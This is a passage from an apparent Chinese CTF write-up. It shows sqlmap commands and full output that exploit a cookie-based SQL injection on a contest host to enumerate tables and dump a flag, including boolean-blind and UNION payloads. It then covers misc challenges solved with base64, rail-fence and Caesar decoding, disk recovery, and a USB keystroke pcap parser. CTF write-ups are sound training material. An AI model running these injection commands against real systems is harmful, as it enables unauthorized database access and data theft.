| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_METRICS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_DATAFILES |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESPACES |
| INNODB_SYS_TABLESTATS |
| INNODB_SYS_VIRTUAL |
| INNODB_TEMP_TABLE_INFO |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+------------------------------------------------------+
Database: mysql
[31 tables]
+------------------------------------------------------+
| user |
| columns_priv |
| db |
| engine_cost |
| event |
| func |
| general_log |
| gtid_executed |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| innodb_index_stats |
| innodb_table_stats |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| server_cost |
| servers |
| slave_master_info |
| slave_relay_log_info |
| slave_worker_info |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+------------------------------------------------------+
[00:47:02] [INFO] fetched data logged to text files under 'C:\Users\lenovo\.sqlmap\output\202.112.51.184'
[*] shutting down at 00:47:02
发现了目标表名
猜解字段python2 D:\sqlmap-master\sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=44894391d1beb4de77dc5b04eec2185b" --columns -T [GDJM_flag] --level 2
结果如下
PS C:\Users\lenovo> python2 D:\sqlmap-master\sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=44894391d1beb4de77dc5b04eec2185b" --columns -T [GDJM_flag] --level 2
___
__H__
___ ___[(]_____ ___ ___ {1.2.8.5#dev}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:51:29
[00:51:29] [INFO] resuming back-end DBMS 'mysql'
[00:51:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: PHPSESSID (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: PHPSESSID=559b4a175ec882f840710fc4ee62052d' AND 5589=5589 AND 'oRXJ'='oRXJ
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: PHPSESSID=559b4a175ec882f840710fc4ee62052d' UNION ALL SELECT NULL,CONCAT(0x716a707671,0x534a7a4242474c735277454857546b686f43626d4a51514844686850434e7557714c736f7570554d,0x71786b6b71)-- qGOJ
---
[00:51:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25, PHP 7.0.31
back-end DBMS: MySQL 5
[00:51:30] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[00:51:30] [INFO] fetching current database
[00:51:30] [INFO] fetching columns for table '[GDJM_flag]' in database 'sqli'
Database: sqli
Table: [GDJM_flag]
[1 column]
+--------+-------------+
| Column | Type |
+--------+-------------+
| flag | varchar(50) |
+--------+-------------+
[00:51:30] [INFO] fetched data logged to text files under 'C:\Users\lenovo\.sqlmap\output\202.112.51.184'
[*] shutting down at 00:51:30
猜解内容python2 D:\sqlmap-master\sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=44894391d1beb4de77dc5b04eec2185b" --dump -T [GDJM_flag] -C "flag" --level 2
结果如下
PS C:\Users\lenovo> python2 D:\sqlmap-master\sqlmap.py -u http://202.112.51.184:16080/ --cookie "PHPSESSID=44894391d1beb4de77dc5b04eec2185b" --dump -T [GDJM_flag] -C "flag" --level 2
___
__H__
___ ___[.]_____ ___ ___ {1.2.8.5#dev}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:53:31
[00:53:32] [INFO] resuming back-end DBMS 'mysql'
[00:53:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: PHPSESSID (Cookie)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: PHPSESSID=559b4a175ec882f840710fc4ee62052d' AND 5589=5589 AND 'oRXJ'='oRXJ
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: PHPSESSID=559b4a175ec882f840710fc4ee62052d' UNION ALL SELECT NULL,CONCAT(0x716a707671,0x534a7a4242474c735277454857546b686f43626d4a51514844686850434e7557714c736f7570554d,0x71786b6b71)-- qGOJ
---
[00:53:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25, PHP 7.0.31
back-end DBMS: MySQL 5
[00:53:32] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[00:53:32] [INFO] fetching current database
[00:53:32] [INFO] fetching entries of column(s) 'flag' for table '[GDJM_flag]' in database 'sqli'
do you want to URL encode cookie values (implementation specific)? [Y/n]
[00:53:34] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[00:53:34] [INFO] used SQL query returns 1 entries
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n]
[00:53:36] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[00:53:36] [INFO] fetching number of column(s) 'flag' entries for table '[GDJM_flag]' in database 'sqli'
[00:53:36] [INFO] resumed: 1
[00:53:36] [INFO] resumed: xman{YoVr_4R3_a_Bada5s_Ge7_My_Fl4g}
Database: sqli
Table: [GDJM_flag]
[1 entry]
+-------------------------------------+
| flag |
+-------------------------------------+
| xman{YoVr_4R3_a_Bada5s_Ge7_My_Fl4g} |
+-------------------------------------+
[00:53:36] [INFO] table 'sqli.`[GDJM_flag]`' dumped to CSV file 'C:\Users\lenovo\.sqlmap\output\202.112.51.184\dump\sqli\[GDJM_flag].csv'
[00:53:36] [INFO] fetched data logged to text files under 'C:\Users\lenovo\.sqlmap\output\202.112.51.184'
[*] shutting down at 00:53:36
收工~
Question12 排位赛—Misc—XMan通行证
a2FuYmJyZ2doamx7emJfX19ffXZ0bGFsbg==
base64->kanbbrgghjl{zb____}vtlaln
栅栏加密(七栏)->kzna{blnl_abj_lbh_trg_vg}
凯撒解密->xman{oyay_now_you_get_it}
Question13 排位赛—Misc—File
拿到的是image镜像文件,尝试使用DiskGenius
进行文件恢复,即可看到flag
注意!!!!不要直接在VD0那一行恢复文件,那样会不能恢复flag。
Question14 排位赛—Misc—autokey
打开发现是USB流量分析,那么使用tshark -r AutoKey.pcapng -T fields -e usb.capdata > usbdata.txt
命令进行数据提取。
接下来跑自动化分析脚本
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"","29":"","2a":"", "2b":"\t","2c":"","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"","33":";","34":"'","35":"","36":",","37":".","38":"/","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"","29":"","2a":"", "2b":"\t","2c":"","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"","33":"\"","34":":","35":"","36":"<","37":">","38":"?","39":"","3a":"","3b":"", "3c":"","3d":"","3e":"","3f":"","40":"","41":"","42":"","43":"","44":"","45":""}
output = []
keys = open('usbdata.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
接下来有明显提示,存在Autokey加密,并且我们不知道key,但可以爆破得到key,使用github脚本。